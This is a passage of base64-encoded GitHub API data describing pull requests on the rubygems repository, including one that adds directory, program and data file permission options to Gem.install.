GFzX3Byb2plY3RzIjpmYWxzZSwiaGFzX2Rvd25sb2FkcyI6dHJ1ZSwiaGFzX3dpa2kiOmZhbHNlLCJoYXNfcGFnZXMiOmZhbHNlLCJmb3Jrc19jb3VudCI6OTU5LCJtaXJyb3JfdXJsIjpudWxsLCJhcmNoaXZlZCI6ZmFsc2UsIm9wZW5faXNzdWVzX2NvdW50IjoxNjIsImxpY2Vuc2UiOnsia2V5Ijoib3RoZXIiLCJuYW1lIjoiT3RoZXIiLCJzcGR4X2lkIjpudWxsLCJ1cmwiOm51bGx9LCJmb3JrcyI6OTU5LCJvcGVuX2lzc3VlcyI6MTYyLCJ3YXRjaGVycyI6MTkwNiwiZGVmYXVsdF9icmFuY2giOiJtYXN0ZXIifX0sIl9saW5rcyI6eyJzZWxmIjp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzExMzgifSwiaHRtbCI6eyJocmVmIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTEzOCJ9LCJpc3N1ZSI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTEzOCJ9LCJjb21tZW50cyI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTEzOC9jb21tZW50cyJ9LCJyZXZpZXdfY29tbWVudHMiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMTEzOC9jb21tZW50cyJ9LCJyZXZpZXdfY29tbWVudCI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy9jb21tZW50c3svbnVtYmVyfSJ9LCJjb21taXRzIjp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzExMzgvY29tbWl0cyJ9LCJzdGF0dXNlcyI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdGF0dXNlcy9lOTYwYTFlZDRlZWJlZTM1OTcyOTUwOTUxNjVjMjc1MzQzNjZmNWIzIn19LCJhdXRob3JfYXNzb2NpYXRpb24iOiJGSVJTVF9USU1FX0NPTlRSSUJVVE9SIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzExMzYiLCJpZCI6MjcyNzgwNDQsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTEzNiIsImRpZmZfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTEzNi5kaWZmIiwicGF0Y2hfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTEzNi5wYXRjaCIsImlzc3VlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzExMzYiLCJudW1iZXIiOjExMzYsInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsInRpdGxlIjoiUGVybWlzc2lvbiBvcHRpb25zIiwidXNlciI6eyJsb2dpbiI6Im5vYnUiLCJpZCI6MTY3MDAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE2NzAwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ub2J1IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vbm9idSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL25vYnUvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbm9idS9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ub2J1L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ub2J1L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbm9idS9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL25vYnUvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbm9idS9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL25vYnUvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL25vYnUvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImJvZHkiOiJBZGQgYDpkaXJfbW9kZWAsIGA6cHJvZ19tb2RlYCwgYW5kIGA6ZGF0YV9tb2RlYCBvcHRpb25zIHRvIGBHZW0uaW5zdGFsbGAuXG4iLCJjcmVhdGVkX2F0IjoiMjAxNS0wMS0xM1QxNToxODoxM1oiLCJ1cGRhdGVkX2F0IjoiMjAxNy0xMi0yNVQwNTo1NTo1NFoiLCJjbG9zZWRfYXQiOm51bGwsIm1lcmdlZF9hdCI6bnVsbCwibWVyZ2VfY29tbWl0X3NoYSI6IjFjZjAzMjJhZTdjYTI2NzA1NzVmNTMzZjc1N2MyODY3NGEzMjljODUiLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwicmVxdWVzdGVkX3Jldmlld2VycyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWl0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzExMzYvY29tbWl0cyIsInJldmlld19jb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzExMzYvY29tbWVudHMiLCJyZXZpZXdfY29tbWVudF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzL2NvbW1lbnRzey9udW1iZXJ9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTEzNi9jb21tZW50cyIsInN0YXR1c2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvc3RhdHVzZXMvZjBjNTU1NTU0NTg0OTVkMTVjNGI1MzI0ZGJiMmU0MDI5NzA0YTYwYiIsImhlYWQiOnsibGFiZWwiOiJub2J1OnBlcm1pc3Npb24tb3B0aW9ucyIsInJlZiI6InBlcm1pc3Npb24tb3B0aW9ucyIsInNoYSI6ImYwYzU1NTU1NDU4NDk1ZDE1YzRiNTMyNGRiYjJlNDAyOTcwNGE2MGIiLCJ1c2VyIjp7ImxvZ2luIjoibm9idSIsImlkIjoxNjcwMCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTY3MDA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL25vYnUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ub2J1IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbm9idS9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ub2J1L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL25vYnUvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL25vYnUvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ub2J1L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbm9idS9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ub2J1L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbm9idS9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbm9idS9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicmVwbyI6eyJpZCI6MTUwOTg3NDMsIm5hbWUiOiJydWJ5Z2VtcyIsImZ1bGxfbmFtZSI6Im5vYnUvcnVieWdlbXMiLCJvd25lciI6eyJsb2dpbiI6Im5vYnUiLCJpZCI6MTY3MDAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE2NzAwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ub2J1IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vbm9idSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL25vYnUvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbm9idS9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ub2J1L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ub2J1L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbm9idS9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL25vYnUvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbm9idS9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL25vYnUvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL25vYnUvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInByaXZhdGUiOmZhbHNlLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ub2J1L3J1YnlnZW1zIiwiZGVzY3JpcHRpb24iOiJMaWJyYXJ5IHBhY2thZ2luZyBhbmQgZGlzdHJpYnV0aW9uIGZvciBSdWJ5LiIsImZvcmsiOnRydWUsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvbm9idS9ydWJ5Z2VtcyIsImZvcmtzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvbm9idS9ydWJ5Z2Vtcy9mb3JrcyIsImtleXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ub2J1L3J1YnlnZW1zL2tleXN7L2tleV9pZH0iLCJjb2xsYWJvcmF0b3JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvbm9idS9ydWJ5Z2Vtcy9jb2xsYWJvcmF0b3Jzey9jb2xsYWJvcmF0b3J9IiwidGVhbXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ub2J1L3J1YnlnZW1zL3RlYW1zIiwiaG9va3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ub2J1L3J1YnlnZW1zL2hvb2tzIiwiaXNzdWVfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvbm9idS9ydWJ5Z2Vtcy9pc3N1ZXMvZXZlbnRzey9udW1iZXJ9IiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvbm9idS9ydWJ5Z2Vtcy9ldmVudHMiLCJhc3NpZ25lZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ub2J1L3J1YnlnZW1zL2Fzc2lnbmVlc3svdXNlcn0iLCJicmFuY2hlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL25vYnUvcnVieWdlbXMvYnJhbmNoZXN7L2JyYW5jaH0iLCJ0YWdzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvbm9idS9ydWJ5Z2Vtcy90YWdzIiwiYmxvYnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ub2J1L3J1YnlnZW1zL2dpdC9ibG9ic3svc2hhfSIsImdpdF90YWdzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvbm9idS9ydWJ5Z2Vtcy9naXQvdGFnc3svc2hhfSIsImdpdF9yZWZzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvbm9idS9ydWJ5Z2Vtcy9naXQvcmVmc3svc2hhfSIsInRyZWVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvbm9idS9ydWJ5Z2Vtcy9naXQvdHJlZXN7L3NoYX0iLCJzdGF0dXNlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL25vYnUvcnVieWdlbXMvc3RhdHVzZXMve3NoYX0iLCJsYW5ndWFnZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ub2J1L3J1YnlnZW1zL2xhbmd1YWdlcyIsInN0YXJnYXplcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ub2J1L3J1YnlnZW1zL3N0YXJnYXplcnMiLCJjb250cmlidXRvcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ub2J1L3J1YnlnZW1zL2NvbnRyaWJ1dG9ycyIsInN1YnNjcmliZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvbm9idS9ydWJ5Z2Vtcy9zdWJzY3JpYmVycyIsInN1YnNjcmlwdGlvbl91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL25vYnUvcnVieWdlbXMvc3Vic2NyaXB0aW9uIiwiY29tbWl0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL25vYnUvcnVieWdlbXMvY29tbWl0c3svc2hhfSIsImdpdF9jb21taXRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvbm9idS9ydWJ5Z2Vtcy9naXQvY29tbWl0c3svc2hhfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvbm9idS9ydWJ5Z2Vtcy9jb21tZW50c3svbnVtYmVyfSIsImlzc3VlX2NvbW1lbnRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ub2J1L3J1YnlnZW1zL2lzc3Vlcy9jb21tZW50c3svbnVtYmVyfSIsImNvbnRlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvbm9idS9ydWJ5Z2Vtcy9jb250ZW50cy97K3BhdGh9IiwiY29tcGFyZV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL25vYnUvcnVieWdlbXMvY29tcGFyZS97YmFzZX0uLi57aGVhZH0iLCJtZXJnZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ub2J1L3J1YnlnZW1zL21lcmdlcyIsImFyY2hpdmVfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ub2J1L3J1YnlnZW1zL3thcmNoaXZlX2Zvcm1hdH17L3JlZn0iLCJkb3dubG9hZHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ub2J1L3J1YnlnZW1zL2Rvd25sb2FkcyIsImlzc3Vlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL25vYnUvcnVieWdlbXMvaXNzdWVzey9udW1iZXJ9IiwicHVsbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ub2J1L3J1YnlnZW1zL3B1bGxzey9udW1iZXJ9IiwibWlsZXN0b25lc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL25vYnUvcnVieWdlbXMvbWlsZXN0b25lc3svbnVtYmVyfSIsIm5vdGlmaWNhdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ub2J1L3J1YnlnZW1zL25vdGlmaWNhdGlvbnN7P3NpbmNlLGFsbCxwYXJ0aWNpcGF0aW5nfSIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL25vYnUvcnVieWdlbXMvbGFiZWxzey9uYW1lfSIsInJlbGVhc2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3Mvbm9idS9ydWJ5Z2Vtcy9yZWxlYXNlc3svaWR9IiwiZGVwbG95bWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ub2J1L3J1YnlnZW1zL2RlcGxveW1lbnRzIiwiY3JlYXRlZF9hdCI6IjIwMTMtMTItMTFUMDU6MjE6NTlaIiwidXBkYXRlZF9hdCI6IjIwMTYtMTEtMjdUMTE6MTE6MDZaIiwicHVzaGVkX2F0IjoiMjAxNy0xMi0yNVQwNjozNjowOVoiLCJnaXRfdXJsIjoiZ2l0Oi8vZ2l0aHViLmNvbS9ub2J1L3J1YnlnZW1zLmdpdCIsInNzaF91cmwiOiJnaXRAZ2l0aHViLmNvbTpub2J1L3J1YnlnZW1zLmdpdCIsImNsb25lX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ub2J1L3J1YnlnZW1zLmdpdCIsInN2bl91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vbm9idS9ydWJ5Z2VtcyIsImhvbWVwYWdlIjoiaHR0cDovL3J1YnlnZW1zLm9yZyIsInNpemUiOjE0MDEyLCJzdGFyZ2F6ZXJzX2NvdW50IjoyLCJ3YXRjaGVyc19jb3VudCI6MiwibGFuZ3VhZ2UiOiJSdWJ5IiwiaGFzX2lzc3VlcyI6ZmFsc2UsImhhc19wcm9qZWN0cyI6dHJ1ZSwiaGFzX2Rvd25sb2FkcyI6dHJ1ZSwiaGFzX3dpa2kiOmZhbHNlLCJoYXNfcGFnZXMiOmZhbHNlLCJmb3Jrc19jb3VudCI6MCwibWlycm9yX3VybCI6bnVsbCwiYXJjaGl2ZWQiOmZhbHNlLCJvcGVuX2lzc3Vlc19jb3VudCI6MCwibGljZW5zZSI6eyJrZXkiOiJvdGhlciIsIm5hbWUiOiJPdGhlciIsInNwZHhfaWQiOm51bGwsInVybCI6bnVsbH0sImZvcmtzIjowLCJvcGVuX2lzc3VlcyI6MCwid2F0Y2hlcnMiOjIsImRlZmF1bHRfYnJhbmNoIjoibWFzdGVyIn19LCJiYXNlIjp7ImxhYmVsIjoicnVieWdlbXM6bWFzdGVyIiwicmVmIjoibWFzdGVyIiwic2hhIjoiY2ViN2NhYzJjNGMxNTA1YTI3M2JiMWNlMjliYmRjMDk2YTljODY4MyIsInVzZXIiOnsibG9naW4iOiJydWJ5Z2VtcyIsImlkIjoyMDg3NjEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzIwODc2MT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2VtcyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6Ik9yZ2FuaXphdGlvbiIsInNpdGVfYWRtaW4iOmZhbHNlfSwicmVwbyI6eyJpZCI6NjE0MDcwLCJuYW1lIjoicnVieWdlbXMiLCJmdWxsX25hbWUiOiJydWJ5Z2Vtcy9ydWJ5Z2VtcyIsIm93bmVyIjp7ImxvZ2luIjoicnVieWdlbXMiLCJpZCI6MjA4NzYxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS8yMDg3NjE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJPcmdhbml6YXRpb24iLCJzaXRlX2FkbWluIjpmYWxzZX0sInByaXZhdGUiOmZhbHNlLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImRlc2NyaXB0aW9uIjoiTGlicmFyeSBwYWNrYWdpbmcgYW5kIGRpc3RyaWJ1dGlvbiBmb3IgUnVieS4iLCJmb3JrIjpmYWxzZSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImZvcmtzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZm9ya3MiLCJrZXlzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMva2V5c3sva2V5X2lkfSIsImNvbGxhYm9yYXRvcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb2xsYWJvcmF0b3Jzey9jb2xsYWJvcmF0b3J9IiwidGVhbXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy90ZWFtcyIsImhvb2tzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaG9va3MiLCJpc3N1ZV9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvZXZlbnRzey9udW1iZXJ9IiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZXZlbnRzIiwiYXNzaWduZWVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvYXNzaWduZWVzey91c2VyfSIsImJyYW5jaGVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvYnJhbmNoZXN7L2JyYW5jaH0iLCJ0YWdzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvdGFncyIsImJsb2JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2Jsb2Jzey9zaGF9IiwiZ2l0X3RhZ3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdGFnc3svc2hhfSIsImdpdF9yZWZzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXM